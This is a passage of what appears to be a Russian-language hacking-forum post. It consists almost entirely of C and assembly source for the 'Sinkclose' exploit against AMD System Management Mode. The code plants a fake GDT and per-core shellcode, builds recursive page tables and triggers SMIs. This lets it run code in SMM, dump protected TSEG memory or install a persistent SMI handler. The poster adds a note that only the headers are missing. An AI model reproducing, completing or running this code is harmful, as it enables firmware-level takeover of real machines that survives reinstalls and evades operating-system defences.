    printf("Num of pages : %d\n", mapping->num_pages);
    printf("Num of tables: %d\n", mapping->num_tables);
}


/// @brief  Creates a large buffer mapping (16 MBs) into the paging tables
///         This permits leaking TSEG content and passing more data if needed
///      The VADDRs for this are
                //  1ED,0,4,0   ->
                //  1ED,0,4,1   ->
#define DMA_BUFFER_MAPPED_ADDR 0xfffff68000800000
UINT64 create_large_buffer(struct alloc_user_physmem *pdpt_page, struct x_mapping **mapping) {
   
    struct _pxe *pxe;

    *mapping = (struct x_mapping *) calloc(1, sizeof(struct x_mapping));

    (*mapping)->size = 16 * 1024 * 1024;
    (*mapping)->aligned_size  = ALIGN((*mapping)->size, PAGE_SIZE);
    (*mapping)->num_pages     = (*mapping)->aligned_size / PAGE_SIZE;
    (*mapping)->num_tables    = (*mapping)->num_pages / 512; // 512 entries per page

    // allocate buffer of pages
    void *pages = calloc(1, (*mapping)->num_pages * sizeof(void **));
    for (int i = 0; i < (*mapping)->num_pages; i++) {
        void *page = allocate_page();
        //printf("Allocated page %d: %016llx\n", i, page);
        *(UINT32 *)page = 0x45454545;

        ((void **)pages)[i] = page;
    }
    // [ page, page2 .. page 4096]
    (*mapping)->pages = (void **)pages;


    // Allocate buffer of tables
    void *tables = calloc(1, (*mapping)->num_tables * sizeof(void **));
    for (int i = 0; i < (*mapping)->num_tables; i++) {
        void *table = allocate_page();
        //printf("Allocated table %d: %016llx\n", i, table);
        ((void **)tables)[i] = table;
    }

    (*mapping)->tables = (void **)tables;


    // Fill in the information of pages in our tables
    int k = 0; // index on tables

    pxe = (struct _pxe *) ((void **)tables)[k];
    for (int i = 0; i < (*mapping)->num_pages; i++) {
        // grab the page
        void *page = ((void **)pages)[i];

        // get the physical address of the page
        UINT64 page_pa = virt_to_phys((UINT64) page);

        // printf("Page-%d %016llx -> physaddr: %016llx (table %d)\n",
        //      i, page, page_pa, k);
       
        // Fill the information in the table entry

        // set present
        pxe->parts.p    = 1;
        // set RW
        pxe->parts.rw   = 1;
        // set U/S
        pxe->parts.us   = 1;
        // set A
        pxe->parts.a    = 1;
        // set D
        pxe->parts.d    = 1;
        //
        pxe->parts.pfn  = PFN(page_pa);

        // next entry
        pxe++;

        if ( ((i+1) % 512) == 0) {
            k++;
            pxe = (struct _pxe *) ((void **)tables)[k];
        }
    }


    pxe = (struct _pxe *) ((UINT64 *) pdpt_page->va + 4);

    // 8 entries to map each of the tables above
    for (int i = 0; i < (*mapping)->num_tables; i++) {
        void *table = ((void **)tables)[i];

        UINT64 table_pa = virt_to_phys((UINT64) table);

        // printf("Table %016llx -> physaddr: %016llx\n", table, table_pa);

        // set present
        pxe->parts.p    = 1;
        // set RW
        pxe->parts.rw   = 1;
        // set U/S
        pxe->parts.us   = 1;
        // set A
        pxe->parts.a    = 1;
        // set D
        pxe->parts.d    = 1;
        //
        pxe->parts.pfn  = PFN(table_pa);

        pxe++;
    }

    return DMA_BUFFER_MAPPED_ADDR;
}


void destroy_mapping(struct x_mapping **mapping) {

    void **pages = (void **) (*mapping)->pages;
    for (int i = 0; i < (*mapping)->num_pages; i++) {      
        void *page = ((void **)pages)[i];
        free_page(page);
    }

    //printf("free the pages buffer\n");
    free((*mapping)->pages);

    void **tables = (void **) (*mapping)->tables;
    for (int i = 0; i < (*mapping)->num_tables; i++) {
        //printf("free mapping tables %d\n", i);
        void *table = ((void **)tables)[i];
        free_page(table);
    }
   
    //printf("free the tables buffer\n");
    free((*mapping)->tables);

    // free the structure itself
    //printf("free the mapping\n");
    free(*mapping);

    *mapping = NULL;
}

/// @brief  sets up a recursive paging structure at CORE0_PML4
void prepare_paging(
    struct alloc_user_physmem *pdpt_page,
    UINT64 x64_staging_func_pa,
    UINT64 stack_pa,
    UINT64 aux_buff_pa)
{


    // if (is_5_level_paging()) {
    //     printf("error: add support for pml5\n");
    //     exit(-1);
    // }

   
    void *pml4 = map_physical_memory(CORE0_PML4, PAGE_SIZE);
    memset(pml4, 0x00, PAGE_SIZE);

    struct _pxe *pxe;
   
    // Map the recursive entry at 0x1ED (memories)
    pxe = (struct _pxe *) ((UINT64 *)pml4 + PG_RECURSIVE_ENTRY);
   
    // set present
    pxe->parts.p    = 1;
    // set RW
    pxe->parts.rw   = 1;
    // set U/S
    pxe->parts.us   = 1;
    // set A
    pxe->parts.a    = 1;
    // set D
    pxe->parts.d    = 1;
    //
    pxe->parts.pfn  = PFN(CORE0_PML4);
   

    pxe++; // Put the x64_staging function at 0x1EE
   
    // VADDR then is: 0xfffff6fb7dbee000
    // set present
    pxe->parts.p    = 1;
    // set RW
    pxe->parts.rw   = 1;
    // set U/S
    pxe->parts.us   = 1;
    // set A
    pxe->parts.a    = 1;
    // set D
    pxe->parts.d    = 1;
    //
    pxe->parts.pfn  = PFN(x64_staging_func_pa);
   

    pxe++;

    // (Entry-1EF) Stack for x64_staging
    pxe->parts.p    = 1;
    // set RW
    pxe->parts.rw   = 1;
    // set U/S
    pxe->parts.us   = 1;
    // set A
    pxe->parts.a    = 1;
    // set D
    pxe->parts.d    = 1;
    // Maps the stack to be used later
    pxe->parts.pfn  = PFN(stack_pa);




    // Maps a portion of the first 512Gigs
    pxe = (struct _pxe *) pml4;

    // (Entry-0)
    pxe->parts.p    = 1;
    // set RW
    pxe->parts.rw   = 1;
    // set U/S
    pxe->parts.us   = 1;
    // set A
    pxe->parts.a    = 1;
    // set D
    pxe->parts.d    = 1;
    // Maps the PDPT located at CORE0_PDPT
    pxe->parts.pfn  = PFN(pdpt_page->pa);

   


    pxe = (struct _pxe *) ((UINT64 *) pml4 + PG_AUX_DATA_ENTRY);

    // (Entry-511) AUX Data for x64_staging
    pxe->parts.p    = 1;
    // set RW
    pxe->parts.rw   = 1;
    // set U/S
    pxe->parts.us   = 1;
    // set A
    pxe->parts.a    = 1;
    // set D
    pxe->parts.d    = 1;
 
    pxe->parts.pfn  = PFN(aux_buff_pa);


    unmap_physical_memory(pml4, PAGE_SIZE);

    /*
     0      -> PDPT
   
     ..
     1ED    -> Recursive entry
     1EE    -> x64_staging_func (through the recursive entry)
     1EF      -> Stack (4096) (through the recursive entry)
                0xfffff6fb7dbef000

     1FF    -> Last entry is used for aux data passed to the staging func
                0xfffff6fb7dbff000
     ..
    */


    memset((void *) pdpt_page->va, 0x00, PAGE_SIZE);

    // Map LARGE 1G Entries to cover 4Gigs (indentity mapped)
    pxe = (struct _pxe *) pdpt_page->va;

    // (Entry-0)
    pxe->parts.p    = 1;
    // set RW
    pxe->parts.rw   = 1;
    // set U/S
    pxe->parts.us   = 1;
    // set A
    pxe->parts.a    = 1;
    // set D
    pxe->parts.d    = 1;
    // LARGE PAGE (1Gig)
    pxe->parts.ps   = 1;
    // Maps 0x00000000 - 0x40000000
    pxe->parts.pfn  = PFN(0);

    pxe++;

    // (Entry-1)
    pxe->parts.p    = 1;
    // set RW
    pxe->parts.rw   = 1;
    // set U/S
    pxe->parts.us   = 1;
    // set A
    pxe->parts.a    = 1;
    // set D
    pxe->parts.d    = 1;
    // LARGE PAGE (1Gig)
    pxe->parts.ps   = 1;
    // Maps 0x40000000 - 0x80000000
    pxe->parts.pfn  = PFN(0x40000000);

    pxe++;

    // (Entry-2)
    pxe->parts.p    = 1;
    // set RW
    pxe->parts.rw   = 1;
    // set U/S
    pxe->parts.us   = 1;
    // set A
    pxe->parts.a    = 1;
    // set D
    pxe->parts.d    = 1;
    // LARGE PAGE (1Gig)
    pxe->parts.ps   = 1;
    // Maps 0x80000000 - 0xC0000000
    pxe->parts.pfn  = PFN(0x80000000);

    pxe++;

    // (Entry-3)
    pxe->parts.p    = 1;
    // set RW
    pxe->parts.rw   = 1;
    // set U/S
    pxe->parts.us   = 1;
    // set A
    pxe->parts.a    = 1;
    // set D
    pxe->parts.d    = 1;
    // LARGE PAGE (1Gig)
    pxe->parts.ps   = 1;
    // Maps 0xC0000000 - 0xFFFFFFFF
    pxe->parts.pfn  = PFN(0xC0000000);
}


void dump_mapping(struct x_mapping *mapping) {
    FILE *fp = fopen("tseg_dumpx.bin", "wb");
    void **pages = (void **) mapping->pages;
    for (int i = 0; i < mapping->num_pages; i++) {      
        void *page = ((void **)pages)[i];
        fwrite(page, PAGE_SIZE, 1, fp);
    }

    fclose(fp);
}



#ifdef _WIN32
#pragma code_seg(".smi_handler")
#endif
#ifdef __linux__
__attribute__((ms_abi))
#endif
void
#ifdef __linux__
__attribute__((section(".smi_handler")))
#endif
smi_handler(
    EFI_HANDLE DispatchHandle,
    void       *DispatchContext,
    void       *SwContext,
    UINT32     *SizeOfSwContext
    )
{  
    #ifdef SQUIRREL_DEBUG
        UINT32 *squirrel = (UINT32 *) SQUIRREL_BAR;
        squirrel[0] = 0xAAAAAAAA;
    #endif
}
#ifdef _WIN32
#pragma code_seg()
#endif

void
#ifdef __linux__
__attribute__((section(".marker_section2")))
#endif
marker_section2() {};


/// @brief  Gets the size of the smi_handler function
///         by calculating the distance between sections
/// @return
UINT32 get_smi_handler_size() {
    UINT32 section_size = 0;  
    #ifdef __linux__  
        section_size = ((UINT64)marker_section2 - (UINT64)smi_handler);  
    #else
        section_size = PAGE_SIZE;
    #endif  
    return section_size;
}

void sinkclose_exploit()
{
    BOOL res;

    // Get SMM base location
    UINT64 smm_base_core0 = 0;
    do_read_msr_for_core(0, AMD_MSR_SMM_BASE_ADDRESS, &smm_base_core0);
   
    UINT64 smm_base_core1 = smm_base_core0 + SMM_BASE_DISTANCE;

    UINT32 smm_entry_point_core0 = smm_base_core0 + AMD_SMI_HANDLER_ENTRY_POINT;
    UINT32 smm_entry_point_core1 = smm_base_core1 + AMD_SMI_HANDLER_ENTRY_POINT;


    // Set the fake GDT for core 0 and core 1
    UINT32 gdt_cs_base = 0x100000000 - (smm_entry_point_core0 + 0x53) + CORE0_SHELLCODE_ADDRESS;
   
    void* gdt_physpage = map_physical_memory(0x00000000, PAGE_SIZE);

    // Set the tampered offset for the GDT located at 0xFFFFFFFF
    char *gdt = (char *) malloc(sizeof(FAKE_GDT));
    memcpy(gdt, FAKE_GDT, sizeof(FAKE_GDT));
    updateGDTBase((unsigned char *) gdt, 1, gdt_cs_base);
    memcpy((char*)gdt_physpage, gdt + 1, sizeof(FAKE_GDT) - 1);
    free(gdt);

    unmap_physical_memory(gdt_physpage, PAGE_SIZE);

    /* Physical Addresses
     - 0x00000000 -> FAKE GDT[1:]
     - 0x00001000 -> Shellcode fore Core0  ()
     - 0x00003000 -> Shellcode fore Core1  ()
     - 0x00003200 -> Recovery Values for Core1
    */

    prepare_shellcode_core0(smm_entry_point_core0);

    // This shellcode needs to patch the Save State Area
    // for graceful return
    prepare_shellcode_core1(smm_base_core1 + AMD_SMM_STATE_SAVE_AREA);


    // Prepare recursive paging structure  

    // a .Copy the x64 staging function into a single page of memory
    struct alloc_user_physmem x64_staging_page = {0};

    if (alloc_user_mem(PAGE_SIZE, &x64_staging_page) == FALSE) {
        printf("failed to allocate page for x64_staging_func\n");
        exit(-1);
    }
   
    memcpy(
        (void *) x64_staging_page.va,
        (void *) x64_staging_func,
        get_x64_staging_size()
    );

    // b. create a stack for x64_staging_func
    struct alloc_user_physmem stack_page = {0};

    if (alloc_user_mem(PAGE_SIZE, &stack_page) == FALSE) {
        printf("failed to allocate page for stack_page\n");
        exit(-1);
    }

    // probe the stack with known values
    for (int i = 0; i < PAGE_SIZE >> 2; i++) {
        ((UINT32 *)stack_page.va)[i] = 0xBADAB0B0;
    }


    // c. create aux buff for passing data
    struct alloc_user_physmem aux_data_page = {0};
    if (alloc_user_mem(PAGE_SIZE, &aux_data_page) == FALSE) {
        printf("failed to allocate page for aux_data_page\n");
        exit(-1);
    }

    // Reserver a page for the PDPT
    struct alloc_user_physmem pdpt_page = {0};
    if (alloc_user_mem(PAGE_SIZE, &pdpt_page) == FALSE) {
        printf("failed to allocate page for PDPT\n");
        exit(-1);
    }

    memset((void *)pdpt_page.va, 0x00, PAGE_SIZE);

    // Prepare paging layout
    prepare_paging(
        &pdpt_page,
        x64_staging_page.pa,
        stack_page.pa,
        aux_data_page.pa
    );


    // Setup the aux buff

    struct _x64_staging_aux_data *aux_data =
            (struct _x64_staging_aux_data * )aux_data_page.va;

    // Get TSEG config
    UINT64 tseg_base = 0;
    UINT32 tseg_size = 0;

    get_tseg_region(&tseg_base, &tseg_size);
    UINT64 tseg_end = tseg_base + tseg_size;

    aux_data->tseg_size  = tseg_size;
    aux_data->tseg_base  = tseg_base;

    #ifdef INSTALL_FCH_SMI_HANDLER
        aux_data->handler_size = ALIGN(get_smi_handler_size(), 4);
        if (aux_data->handler_size > 0xC00) {
            printf("smi_handler is too large \n");
            exit(-1);
        }

        memcpy(
            (void *) aux_data->handler_code,
            (void *) smi_handler,
            aux_data->handler_size
        );
    #endif
    // Get contiguous chunk of physical memory
    // and map it to our paging structures
    #ifdef DUMP_TSEG
        struct x_mapping *mapping;
        aux_data->buffer_ptr = create_large_buffer(&pdpt_page, &mapping);
    #endif
   
    SW_SMI_CALL smi_call = { 0 };
    smi_call.rax = 0x31337;  
    sinkclose_smi(&smi_call);

    printf("Triggering exploit...\n");  

    smi_call.rax = 0x31338;
    // Sets the TClose on Core0 (And Core1 due to Hyperthreading)
   
    // Trigger attack  
    sinkclose_smi(&smi_call);
   
    //// Enable for dumping TSEG
    #ifdef DUMP_TSEG
        dump_mapping(mapping);
        destroy_mapping(&mapping);
    #endif

    unmap_physical_memory((void *) pdpt_page.va, PAGE_SIZE);
    unmap_physical_memory((void *) aux_data_page.va, PAGE_SIZE);
    unmap_physical_memory((void *) stack_page.va, PAGE_SIZE);
    unmap_physical_memory((void *) x64_staging_page.va, PAGE_SIZE);

    printf("done!\n");
}



void clear_bar_buffer() {
    // Clear BAR Buffer
    void* dma_buf_page = map_physical_memory(SQUIRREL_BAR, PAGE_SIZE);
    memset(dma_buf_page, 0x00, PAGE_SIZE);
    // print_memory(SQUIRREL_BAR, (char *) dma_buf_page, 0x100);
    // getchar();
    unmap_physical_memory(dma_buf_page, PAGE_SIZE);
}

void enable_squirrel() {
    pci_enable_memory_space(2, 0 , 0);
    pci_enable_bus_master(2, 0 , 0);
}



void run_exploit() {

    // Save content of physical pages used  
    void *p0 = map_physical_memory(0x00000000, PAGE_SIZE);
    void *p1 = map_physical_memory(0x00001000, PAGE_SIZE);  
    void *p2 = map_physical_memory(0x00002000, PAGE_SIZE);
    void *p3 = map_physical_memory(0x00003000, PAGE_SIZE);

    void *px[] = { p0, p1, p2, p3 };

    int pages_used = sizeof(px)/sizeof(px[0]);

    char *buff = (char *) malloc(PAGE_SIZE * pages_used);

    for (int i = 0 ; i < pages_used; i++) {
        memcpy(&buff[PAGE_SIZE * i], px[i], PAGE_SIZE);
        memset(px[i], 0, PAGE_SIZE);
    }

    ////
    //
    // Execute exploit
    sinkclose_exploit();

    /// Restore physical pages content
    for (int i = 0 ; i < pages_used; i++) {
        memcpy(px[i], &buff[PAGE_SIZE * i], PAGE_SIZE);
        unmap_physical_memory(px[i], PAGE_SIZE);
    }

    free(buff);
}





void run_smi() {      
    #ifdef INSTALL_FCH_SMI_HANDLER
        printf("Invoking FCH Smi Handler %02x\n", SINKCLOSE_SW_SMI_NUMBER);
        // Invoke our SMI
        SW_SMI_CALL smi_call = {0};    
        smi_call.SwSmiNumber = SINKCLOSE_SW_SMI_NUMBER;
        smi_call.SwSmiData   = 0xFF;
        trigger_smi(&smi_call);
    #endif
}


/// Re-schedule the running task on any other core but CORE0 and CORE1
#ifdef __linux__
void schedule_on_other_cores() {
    cpu_set_t mask;
    int num_cpus = sysconf(_SC_NPROCESSORS_ONLN);

    CPU_ZERO(&mask);
    for (int i = 2; i < num_cpus; i++) {      
        CPU_SET(i, &mask);      
    }

    if (sched_setaffinity(0, sizeof(mask), &mask) == -1) {
        perror("sched_setaffinity");
        exit(EXIT_FAILURE);
    }
}
#else
void schedule_on_other_cores() {
    DWORD_PTR processAffinityMask = 0;
    DWORD_PTR systemAffinityMask = 0;
    HANDLE hProcess = GetCurrentProcess();

    // Get the process affinity mask
    if (!GetProcessAffinityMask(hProcess, &processAffinityMask, &systemAffinityMask)) {
        printf("Error getting process affinity mask\n");
        return;
    }

    // Print the current affinity mask
    printf("Current Process Affinity Mask: %llu\n", processAffinityMask);

    // Remove CPUs 0 and 1 from the affinity mask
    DWORD_PTR newAffinityMask = systemAffinityMask & (~((DWORD_PTR)0x3));

    // Set the new affinity mask for the current process
    if (!SetProcessAffinityMask(hProcess, newAffinityMask)) {
        printf("Error setting process affinity mask\n");
        return;
    }

    // Verify the change
    if (!GetProcessAffinityMask(hProcess, &processAffinityMask, &systemAffinityMask)) {
        printf("Error getting updated process affinity mask\n");
        return;
    }

    printf("New Process Affinity Mask: %llu\n", processAffinityMask);
}
#endif


int current_running_core() {
    #ifdef __linux__
        return sched_getcpu();
    #else
        return GetCurrentProcessorNumber();
    #endif  
}


int main(int argc, char** argv)
{  
    if (argc < 2) {
        printf("Usage: %s <option>\n", argv[0]);
        printf(" 'install_smi' -> uses the CPU bug to install our SMI handler\n");
        printf(" 'run_smi'     -> runs the installed SMI handler\n");
        return -1;
    }

    open_platbox_device();

    if (strcmp(argv[1], "install_smi") == 0) {
        schedule_on_other_cores();

        printf("Running on CPU: %d\n", current_running_core());
        // printf("5 Level-Paging: %d\n", is_5_level_paging());
        // getchar();

        #ifdef SQUIRREL_DEBUG
            enable_squirrel();
            clear_bar_buffer();
        #endif

        run_exploit();
    } else if (strcmp(argv[1], "run_smi") == 0) {
        run_smi();
    }  

    close_platbox_device();

    return 0;
}

sinkclose.s
Код:
%define PROTECT_MODE_CS 0x08
%define PROTECT_MODE_DS 0x20
%define LONG_MODE_CS     0x38
%define TSS_SEGMENT     0x40
%define LONG_MODE_DS    0x48

%define ORIGINAL_GDTR            0x1400
%define SQUIRREL_BAR             0xd0800000
%define CORE0_INITIAL_STACK        0x1E00
%define CORE0_PAGE_TABLE_BASE   0x2000
%define CORE0_NEXT_STAGE        0x1035

%define X64_STAGING_FUNC_VA        0xfffff6fb7dbee000
%define X64_STAGING_RSP            0xfffff6fb7dbef000

%define IA32_EFER                0xC0000080

%define CORE1_MUTEX_SIGNAL_ADDR    0x3220


global _core0_shell

section .text

; This code is executed in SMM by Core0 as part of the attack
[bits 32]
_core0_shell:
   
    ; Clear TClose
    mov ecx,0xc0010113
    rdmsr
    and eax,0xfffffff3
    wrmsr

    mov     ax, PROTECT_MODE_DS
o16 mov     ds, ax
o16 mov     es, ax
o16 mov     fs, ax
o16 mov     gs, ax
o16 mov     ss, ax
    mov esp, CORE0_INITIAL_STACK

    ; Clean the GDT and CS
    mov ecx, ORIGINAL_GDTR
    lgdt  [ecx]

    push    PROTECT_MODE_CS            
    mov     eax, CORE0_NEXT_STAGE
    push     eax
    retf

next_stage:

    ; mov ecx, SQUIRREL_BAR
    ; lea ecx, [ecx + 0]
    ; mov byte [ecx], 0xFA
    ; xor ecx,ecx

    jmp     ProtFlatMode

[BITS 64]
ProtFlatMode:
   
    ; mov rcx, SQUIRREL_BAR
    ; lea rcx, [rcx + 0x1]
    ; mov byte [rcx], 0xFB
    ; xor rcx,rcx

    mov eax, CORE0_PAGE_TABLE_BASE
    mov     cr3, rax
    mov     eax, 0x668                   ; as cr4.PGE is not set here, refresh cr3
    mov     cr4, rax

    ; mov rcx, SQUIRREL_BAR
    ; lea rcx, [rcx + 0x2]
    ; mov byte [rcx], 0xFC
    ; xor rcx,rcx

    ; Load TSS
    sub     esp, 8                      ; reserve room in stack
    sgdt    [rsp]  
    mov     eax, [rsp + 2]              ; eax = GDT base
    add     esp, 8
    mov     dl, 0x89
    mov     [rax + TSS_SEGMENT + 5], dl ; clear busy flag
    mov     eax, TSS_SEGMENT
    ltr     ax

    ; mov rcx, SQUIRREL_BAR
    ; lea rcx, [rcx + 0x3]
    ; mov byte [rcx], 0xFD
    ; xor rcx,rcx

    push    LONG_MODE_CS               ; push cs hardcore here
    call    Base                       ; push return address for retf later
Base:
       add     dword [rsp], @LongMode - Base

    mov rax, [rsp]

    mov     ecx, IA32_EFER
    rdmsr
    or      ah, 1                      ; enable LME
    wrmsr
    mov     rbx, cr0
    or      ebx, 0x80010023            ; enable paging + WP + NE + MP + PE
    mov     cr0, rbx

    ; mov rcx, SQUIRREL_BAR
    ; lea rcx, [rcx + 0x4]
    ; mov byte [rcx], 0xFE
    ; xor rcx,rcx  

    retf
   

@LongMode:
    mov     ax, LONG_MODE_DS
o16 mov     ds, ax
o16 mov     es, ax
o16 mov     fs, ax
o16 mov     gs, ax
o16    mov     ss, ax

    mov     rax, X64_STAGING_RSP
    add        rax, 0xF00
    mov     rsp, rax

    ; mov rcx, SQUIRREL_BAR
    ; lea rcx, [rcx + 0x50]
    ; mov dword [rcx], 0x41414141

    mov     rax, X64_STAGING_FUNC_VA
    call     rax    

    ; mov rcx, SQUIRREL_BAR
    ; lea rcx, [rcx + 0x60]
    ; mov dword [rcx], 0x43434343

    ; Return from SMM
    rsm
   
    nop
    nop
    nop
    nop
    db 'I'
    db 'O'
    db 'A'  
    nop
    nop
    nop
    nop
    nop
хедеры забыл

=)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх